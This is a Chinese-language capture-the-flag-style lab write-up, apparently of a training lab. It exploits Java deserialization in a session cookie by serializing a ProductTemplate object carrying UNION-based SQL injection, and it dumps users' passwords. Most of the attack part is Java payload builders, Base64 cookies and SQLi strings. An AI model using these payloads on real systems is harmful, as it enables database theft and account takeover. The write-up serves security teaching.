> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md).

# 为 Java 反序列化开发自定义 gadget 链

### 为 Java 反序列化开发自定义 Gadget 链

**实验目标**

此实验基于一个使用 Java 序列化的会话机制。通过构造一个\*\*自定义 gadget 字符串\*\*，可以利用不安全的反序列化来 **获取管理员密码**，然后使用该账户连接并删除用户 **carlos**.

提供的标识符：

* 用户： `wiener`
* 密码： `peter`

\*\* 会话初步分析\*\*

观察到的会话 cookie 使用 Base64 编码：

{% code overflow="wrap" %}

```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg%3d%3d
```

{% endcode %}

解码后，明显识别出 Java\*\* 序列化，这确认了 `ObjectInputStream` 在服务器端被使用。

{% code overflow="wrap" %}

```bash
echo 'rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg==' | base64 -d ; echo
```

{% endcode %}

<figure><img src="/files/27535d001ca552787d4c5b324601a8d1db33bd93" alt=""><figcaption></figcaption></figure>

**访问源代码**

HTML 注释提供了一个 Java 源代码备份的链接：

```html
<!-- <a href=/backup/AccessTokenUser.java>示例用户</a> -->
```

<figure><img src="/files/fcabfa50aa167525b2e10e363d4864f4ac6cab7b" alt=""><figcaption></figcaption></figure>

以下内容来自 `AccessTokenUser.java` 文件：

* 可序列化类
* 两个属性： `username` 和 `accessToken`
* 没有可直接利用的危险行为

```java
package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}
```

在 `/backup` 文件夹中，另一个文件引起了注意： **`ProductTemplate.java`**.

<figure><img src="/files/fe0944f97ae789fa6a5e1d98f98e4958e8625f2e" alt=""><figcaption></figcaption></figure>

**有漏洞的类：ProductTemplate**

该 `ProductTemplate` 类实现了 `Serializable` 并重写了 `readObject()` 方法。

关键点：

* 该 `readObject()` 方法在反序列化时会自动执行
* 一个 SQL 查询被动态构造，使用了 `String.format`
* 该 `id` 参数直接注入到查询中，没有验证

```java
String sql = String.format(
  "SELECT * FROM products WHERE id = '%s' LIMIT 1", id
);
```

```java
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct();
    {
        return product;
    }
}

```

**Java Payload 构造**

为了生成一个有效的序列化对象，创建了一个本地 Java 项目：

最小结构：

```bash
data/
└── productcatalog/
    ├── ProductTemplate.java
    └── Product.java
Main.java
```

类被刻意简化，只保留 **序列化**，不包含内部逻辑。

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("your-payload-here");

        String serializedObject = serialize(originalObject);

        System.out.println("Serialized object: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("Deserialized object ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**恶意 cookie 的生成**

在 `Main.java`，一个 `ProductTemplate` 对象使用以下的受控值来构造 `id`，然后进行序列化并编码为 Base64。

```java
// 已移除 ProductTemplate 中的所有逻辑，因为序列化不需要它

package data.productcatalog;

import java.io.Serializable;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    public String getId() {
        return id;
    }
}
```

```bash
nvim data/productcatalog/Product.java
```

```java
// 添加这个类只是为了让 ProductTemplate 能够正确编译

package data.productcatalog;
class Product {}
```

第一次使用一个简单的撇号进行测试：

```java
        ProductTemplate originalObject = new ProductTemplate("'");
```

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("'");

        String serializedObject = serialize(originalObject);

        System.out.println("Serialized object: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("Deserialized object ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

服务器返回一个 SQL 错误，确认了注入。

```bash
javac Main.java
java Main
```

<figure><img src="/files/7caca6d0721d513966565842293f859b505e81f5" alt=""><figcaption></figcaption></figure>

```http
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
```

<figure><img src="/files/3fd879c4861e4e701b63d603301b794521dafa05" alt=""><figcaption></figcaption></figure>

**SQL 注入利用**

1. **确定列数**/ → 识别出 8 列

```java
        ProductTemplate originalObject = new ProductTemplate("' order by 8-- -");
```

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAECcgb3JkZXIgYnkgOC0tIC0=
```

<figure><img src="/files/a3193aa3db2b8c477f10ed97a8c06e0f0acfac15" alt=""><figcaption></figcaption></figure>

**SELECT UNION 测试**/ → 第四列可用

{% code overflow="wrap" %}

```bash
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - ";
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAOicgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTC0tIC0
```

* **表汇总**
* 识别出的表： `users`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAcCcgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLGNhc3QodGFibGVfbmFtZSBhcyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0tIC0=
```

<figure><img src="/files/1399b490bd13a8fb0afe37e683c10bad8deb7527" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAfScgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLChzdHJpbmdfYWdnKHRhYmxlX25hbWUsICcsJykgYXMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt
```

<figure><img src="/files/e968db574f55db14d88a7b87f990254ec8cfd675" alt=""><figcaption></figcaption></figure>

**列枚举**

* `username`
* `密码`
* `email`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.columns where table_name='users'-- -");
```

{% endcode %}

<figure><img src="/files/e576a1ed1da97fa7fe454c2d0acc2c5a1e08a72e" alt=""><figcaption></figcaption></figure>

1. **凭据提取**

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -");
```

{% endcode %}

<figure><img src="/files/fddd6ba59f5647b79abe5313186bb3f2da3d3c05" alt=""><figcaption></figcaption></figure>

注入到序列化对象中的最终 payload：

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM
users-- -");

        String serializedObject = serialize(originalObject);

        System.out.println("Serialized object: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("Deserialized object ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**已达成的结果**

发送序列化 cookie 后，服务器响应泄露了凭据：

```wit
administrator:sa47nyh8ebw4q0h7dvhn
wiener:peter
carlos:ig1e9avhmums5iac8rwa
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
